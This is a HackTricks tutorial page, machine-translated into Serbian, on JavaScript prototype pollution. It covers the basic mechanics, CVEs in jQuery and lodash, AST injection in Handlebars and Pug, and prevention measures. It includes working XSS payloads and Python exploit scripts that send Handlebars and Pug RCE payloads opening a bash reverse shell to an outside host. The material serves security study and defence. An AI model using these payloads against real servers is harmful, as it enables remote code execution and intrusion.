NodeJS - __proto__ & prototype Pollution

Podržite HackTricks

Objekti u JavaScript-u

Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznatih kao svojstva. Objekat se može kreirati koristeći Object.create sa null kao argumentom da bi se proizveo prazan objekat. Ova metoda omogućava kreiranje objekta bez nasleđenih svojstava.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Prazan objekat je sličan praznom rečniku, predstavljen kao {}.

Funkcije i klase u JavaScript-u

U JavaScript-u, klase i funkcije su usko povezane, pri čemu funkcije često služe kao konstruktori za klase. I pored nedostatka podrške za klase u JavaScript-u, konstruktori mogu emulirati ponašanje klasa.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes in JavaScript

JavaScript omogućava modifikaciju, dodavanje ili brisanje atributa prototipa u vreme izvođenja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klasa.

Funkcije kao što su toString i valueOf mogu se menjati kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototipnog sistema.

Inheritance

U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.

Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je myPersonObj), nasleđujući objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju iz JavaScript Object prototipa. To znači da modifikacija Object prototipa može uticati na sve objekte u okruženju.

Hajde da upotrebimo drugi primer da ilustrujemo:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Pristup Object prototipu je moguć kroz:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Dodavanjem svojstava u Object prototip, svaki JavaScript objekat će naslediti ova nova svojstva:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

Za scenario gde je korišćenje __proto__ ograničeno, modifikacija prototipa funkcije je alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Ovo utiče samo na objekte kreirane iz Vehicle konstruktora, dajući im beep, hasWheels, honk i isElectric svojstva.

Dve metode za globalno utiču na JavaScript objekte kroz zagađenje prototipa uključuju:

  1. Zagađenje Object.prototype direktno:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Zagađivanje prototipa konstruktora za često korišćenu strukturu:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Nakon ovih operacija, svaki JavaScript objekat može izvršiti goodbye i greet metode.

Zagađivanje drugih objekata

Iz klase u Object.prototype

U scenariju gde možete zagađivati određeni objekat i treba da dođete do Object.prototype, možete ga potražiti sa nečim poput sledećeg koda:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Zagađenje elemenata niza

Napomena: pošto možete zagađivati atribute objekata u JS, ako imate pristup da zagađujete niz, takođe možete zagađivati vrednosti niza dostupne preko indeksa (napomena: ne možete prepisivati vrednosti, tako da treba da zagađujete indekse koji se na neki način koriste, ali ne i pišu).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

Kada se generiše HTML element putem JS, moguće je prepisati innerHTML atribut kako bi se napisao arbitrarni HTML kod. Ideja i primer iz ovog članka.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Primeri

Osnovni Primer

Zagađenje prototipa se dešava zbog greške u aplikaciji koja omogućava prepisivanje svojstava na Object.prototype. To znači da pošto većina objekata nasleđuje svoja svojstva iz Object.prototype

Najlakši primer je dodavanje vrednosti neodređenom atributu objekta koji će biti proveravan, kao:

if (user.admin) {

Ako je atribut admin neodređen, moguće je zloupotrebiti PP i postaviti ga na True sa nečim poput:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mehanizam iza ovoga uključuje manipulaciju svojstvima tako da, ako napadač ima kontrolu nad određenim ulazima, može modifikovati prototip svih objekata u aplikaciji. Ova manipulacija obično uključuje postavljanje __proto__ svojstva, koje je u JavaScript-u sinonim za direktno modifikovanje prototipa objekta.

Uslovi pod kojima se ovaj napad može uspešno izvršiti, kako je navedeno u specifičnoj studiji, uključuju:

  • Izvršavanje rekurzivnog spajanja.

  • Definisanje svojstava na osnovu puta.

  • Kloniranje objekata.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto zagađenje do RCE

Prototype Pollution to RCE

Ostali payloadi:

Klijentsko prototipsko zagađenje do XSS

Client Side Prototype Pollution

CVE-2019–11358: Napad prototipskog zagađenja kroz jQuery $ .extend

Za više detalja pogledajte ovaj članak U jQuery, funkcija $ .extend može dovesti do prototipskog zagađenja ako se funkcija dubokog kopiranja koristi nepravilno. Ova funkcija se obično koristi za kloniranje objekata ili spajanje svojstava iz podrazumevanog objekta. Međutim, kada je pogrešno konfigurisana, svojstva namenjena novom objektu mogu biti dodeljena prototipu umesto toga. Na primer:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija može nenamerno da izmeni prototip, što može dovesti do potencijalnih bezbednosnih rizika, kao što je neovlašćen pristup administratoru ako se svojstva poput isAdmin proveravaju bez odgovarajuće verifikacije postojanja.

CVE-2018–3721, CVE-2019–10744: Napad prototipne kontaminacije kroz lodash

Za više detalja pogledajte ovaj članak

Lodash se suočio sa sličnim ranjivostima prototipne kontaminacije (CVE-2018–3721, CVE-2019–10744). Ovi problemi su rešeni u verziji 4.17.11.

Još jedan tutorijal sa CVE-ima

Alati za otkrivanje prototipne kontaminacije

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Ekstenzija za Burp Suite dizajnirana za otkrivanje i analizu ranjivosti prototipne kontaminacije na serverskoj strani u web aplikacijama. Ovaj alat automatizuje proces skeniranja zahteva kako bi identifikovao potencijalne probleme prototipne kontaminacije. Iskorišćava poznate gadgete - metode korišćenja prototipne kontaminacije za izvršavanje štetnih radnji - posebno se fokusirajući na Node.js biblioteke.

  • server-side-prototype-pollution: Ova ekstenzija identifikuje ranjivosti prototipne kontaminacije na serverskoj strani. Koristi tehnike opisane u prototipnoj kontaminaciji na serverskoj strani.

AST prototipna kontaminacija u NodeJS

NodeJS široko koristi Apstraktna Sintaktička Stabla (AST) u JavaScript-u za funkcionalnosti poput engine-a za šablone i TypeScript-a. Ovaj deo istražuje ranjivosti povezane sa prototipnom kontaminacijom u engine-ima za šablone, posebno Handlebars i Pug.

Analiza ranjivosti Handlebars

Engine za šablone Handlebars je podložan napadu prototipne kontaminacije. Ova ranjivost proističe iz specifičnih funkcija unutar javascript-compiler.js datoteke. Funkcija appendContent, na primer, konkatenira pendingContent ako je prisutan, dok funkcija pushSource resetuje pendingContent na undefined nakon dodavanja izvora.

Proces eksploatacije

Eksploatacija koristi AST (Apstraktno Sintaktičko Stablo) koje proizvodi Handlebars, prateći ove korake:

  1. Manipulacija Parserom: U početku, parser, putem NumberLiteral čvora, nameće da su vrednosti numeričke. Prototipna kontaminacija može to zaobići, omogućavajući umetanje nenumeričkih stringova.

  2. Obrada od strane Kompajlera: Kompajler može obraditi AST objekat ili string šablon. Ako input.type jednako Program, ulaz se tretira kao prethodno analiziran, što se može iskoristiti.

  3. Umetanje Koda: Kroz manipulaciju Object.prototype, može se umetnuti proizvoljan kod u funkciju šablona, što može dovesti do daljinskog izvršavanja koda.

Primer koji demonstrira eksploataciju ranjivosti Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Ovaj kod prikazuje kako napadač može ubrizgati proizvoljan kod u Handlebars šablon.

Spoljašnja referenca: Problem vezan za zagađenje prototipa pronađen je u 'flat' biblioteci, kako je detaljno opisano ovde: Issue on GitHub.

Spoljašnja referenca: Problem vezan za zagađenje prototipa u 'flat' biblioteci

Primer eksploatacije zagađenja prototipa u Python-u:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Pug, još jedan engine za šablone, suočava se sa sličnim rizikom od zagađenja prototipa. Detaljne informacije su dostupne u diskusiji o AST Injection in Pug.

Primer zagađenja prototipa u Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Preventive Measures

Da bi se smanjio rizik od zagađenja prototipa, mogu se primeniti sledeće strategije:

  1. Imutabilnost objekta: Object.prototype se može učiniti imutabilnim primenom Object.freeze.

  2. Validacija ulaza: JSON ulazi treba rigorozno validirati prema šemi aplikacije.

  3. Sigurne funkcije spajanja: Treba izbegavati nesigurnu upotrebu rekurzivnih funkcija spajanja.

  4. Objekti bez prototipa: Objekti bez svojstava prototipa mogu se kreirati koristeći Object.create(null).

  5. Korišćenje Map: Umesto Object, treba koristiti Map za čuvanje parova ključ-vrednost.

  6. Ažuriranje biblioteka: Sigurnosne zakrpe mogu se uključiti redovnim ažuriranjem biblioteka.

  7. Linter i alati za statičku analizu: Koristite alate poput ESLint-a sa odgovarajućim plugin-ovima za otkrivanje i sprečavanje ranjivosti na zagađenje prototipa.

  8. Revizije koda: Implementirati temeljne revizije koda kako bi se identifikovali i otklonili potencijalni rizici vezani za zagađenje prototipa.

  9. Obuka o bezbednosti: Obrazovati programere o rizicima zagađenja prototipa i najboljim praksama za pisanje sigurnog koda.

  10. Korišćenje biblioteka sa oprezom: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procijenite njihovu sigurnosnu poziciju i pregledajte njihov kod, posebno one koji manipulišu objektima.

  11. Zaštita u vreme izvođenja: Primena mehanizama zaštite u vreme izvođenja kao što su korišćenje npm paketa fokusiranih na sigurnost koji mogu otkriti i sprečiti napade zagađenja prototipa.

References

Support HackTricks

Last updated